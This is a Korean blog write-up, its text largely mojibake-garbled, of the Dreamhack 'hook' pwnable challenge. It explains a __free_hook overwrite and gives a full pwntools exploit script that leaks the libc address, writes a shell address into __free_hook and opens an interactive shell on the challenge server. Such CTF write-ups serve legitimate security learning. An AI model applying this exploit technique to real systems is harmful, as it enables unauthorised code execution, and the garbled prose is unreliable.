hook
๋ฌธ์ ํ์ด
์ด๋ฒ์๋ hook overwirte์ ๋ฌธ์ ๋ก ์ด์ ๋ฌธ์ ์์ ๋ดค๋ ํ์๊ณผ๋ ์ฝ๊ฐ ๋ค๋ฅด๋ค์
์๋ฌด๋๋ one_gadget์ฒ๋ผ์ ๋ชปํ๋ ๋ฏ ์ถ๋ค์ PIE๊ฐ ์กด์ฌํ์ง ์๊ณ RELRO๊ฐ FULL..
์๋นํ ํ๋ค๊ฒ ๋ค์ PIE๊ฐ ์ ์ฉ X์ธ๊ฒ์ ๋ดค์ ๋ code ์์ญ์์ ์ฃผ์๋ฅผ ํ์ฉํ ๋ฏ?
๊ทผ๋ฐ one_gadget์ผ๋ก ํด๋ ๋ ๊ฑฐ ๊ฐ๊ธดํ๋ฐ ์ด๋ฆ์ ๋ฐ๋ผ์ ํด๋ด ์๋ค
log์ ํ์
์ ํฌ์ธํฐ ํ๋์ size_t ํ์
์ ๋ณ์ ์ ์ธ์ด ๋์ด์์ต๋๋ค.
๊ทธ๋ฆฌ๊ณ stdout.. ์ฃผ์๋ฅผ ์ถ๋ ฅํ๋๋ฐ ๋ฐ์ ptr์ด ๋๋ธํฌ์ธํฐ์ธ์ ์ ๋ฏธ๋ฃจ์ด๋ณด์์ ๋..
์์ ๋ดค๋ ๋๋ธํฌ์ธํฐ ptr๋ถ๋ถ์์ ๋ฐฐ์ด์ผ๋ก ์ ์ฉ๋๋ฏ๋ก
ptr[0]์ ๋ค์ด๊ฐ ๊ฐ์ ์ฐธ์กฐํ๋ ๊ฐ์ ptr[1]์ ๋์
ํ ๋ชจ์ต์ธ ๊ฒ ๊ฐ์ต๋๋ค
์ฆ, **ptr = ptr[1]์ธ ๋๋? ์ฐธ๊ณ ๋ก *(long *)*ptr.. ํ๋ณํ ์ฝ๋๋ค์ ๊ทผ๋ฐ.. ๊ตณ์ด?
๊ฒฐ๋ก ์ ์ผ๋ก **ptr = ptr[1] ๋ง๋ค์
์๊ฐํด๋ณด๋๊น PIE๊ฐ ์ ์ฉ์ด ์๋์ด ์์ผ๋ฏ๋ก ๋ฐ๋ก gadget์ ์ฌ์ฉํด๋ ๋ ๊ฑฐ ๊ฐ๊ธดํ๋ฐ..
์
๋ ฅ ๋ฐ์ ์ฌ์ด์ฆ ๋งํผ heap์ ๋ฉ๋ชจ๋ฆฌ ํ ๋น ๊ทธ ์ฃผ์๋ ptr๋ก ์ ์ฉ๋ฉ๋๋ค
๋ฐฉ๊ธ ํ ๋นํ ์ฃผ์์ size ๋งํผ ์
๋ ฅ๋ฐ๊ณ ์๋ ๋ชจ์ต์
๋๋ค
Exploit ์ค๊ณ
์ฒ์ ์ถ๋ ฅํด์ฃผ๋ stdout์ ์ฃผ์๋ฅผ ๋ฐ์ libc_base๋ฅผ ๊ตฌํด __free_hook์ ์ฃผ์๋ฅผ ๊ตฌํ ํ
๊ตฌํ ์ฃผ์์ __free_hook์ฃผ์์ system("/bin/sh")์ ์ฃผ์๋ฅผ ์ฐ๋ฌ์ ์
๋ ฅํ๋ฉด ๋๋ ๋ฏ ์ถ์๋ฐ..
์์ ๋ดค๋ ๋๋ธํฌ์ธํฐ ptr๋ถ๋ถ์์ ๋ฐฐ์ด์ผ๋ก ์ ์ฉ๋๋ฏ๋ก
ptr[0] = free_hook ๋ณ์, ptr[1]์ด ๋ฃ์ด์ค ๊ฐ์ผ๋ก ์ ์ฉํ๋ฉด ๋ ๊ฑฐ ๊ฐ์ต๋๋ค.
๊ทธ๋ฌ๊ธฐ์ ํ ๋ฒ ์๋๋ฅผ ํด๋ด ์๋ค
Exploit
์ด์ ์ฝ๋๋ฅผ ๋ง์ด ์ฐธ๊ณ ํ์ฌ ์์ฑํ์์ต๋๋ค
123456789101112131415161718192021222324252627 from pwn import *def slog(a, b):return success(": ".join([a, hex(b)]))p = remote("host3.dreamhack.games", 19300)e = ELF("./hook")libc = ELF("./libc.so.6")stdout_offset = libc.symbols["_IO_2_1_stdout_"]free_hook_offset = libc.symbols["__free_hook"]system_address = 0x400a11p.recvuntil("stdout: ")stdout_address = int(p.recv(14), 16)libc_base = stdout_address - stdout_offsetfree_hook_address = libc_base + free_hook_offsetslog("library base", libc_base)slog("free_hook address", free_hook_address)slog("system address", system_address)p.sendlineafter("Size: ", str(400))payload = p64(free_hook_address) + p64(system_address)p.sendafter("Data: ", payload)p.interactive()cs
free_hook ์ด ์๋ํ ๋น์ ํํนํ๋ ๋ชจ์ต ์ฒ์ hook ๋ฌธ์ ๋ฅผ ํ์์ ๋ ๊ณ ์ ํ๋ ๋ถ๋ถ์ธ๋ฐ
์ด๋ ๊ฒ ๋ณด๋๊น ์ฐธ.. ๋ณ๊ฑฐ ์์ด๋ณด์ผ์ง๋? Dreamhack ์์ ํจ๊ปํ๊ธฐ ์๋ฃ๋ฅผ ๋ง์ด ์ฐธ๊ณ ํ์์ต๋๋ค
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โSystem_Study > ๐โDreamhack_Hacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Background: RELRO (0) | 2022.10.31 |
---|---|
basic_exploitation_003 (0) | 2022.10.30 |
fho (0) | 2022.10.30 |
basic_rop_x86 (0) | 2022.10.30 |
out_of_bound (0) | 2022.10.30 |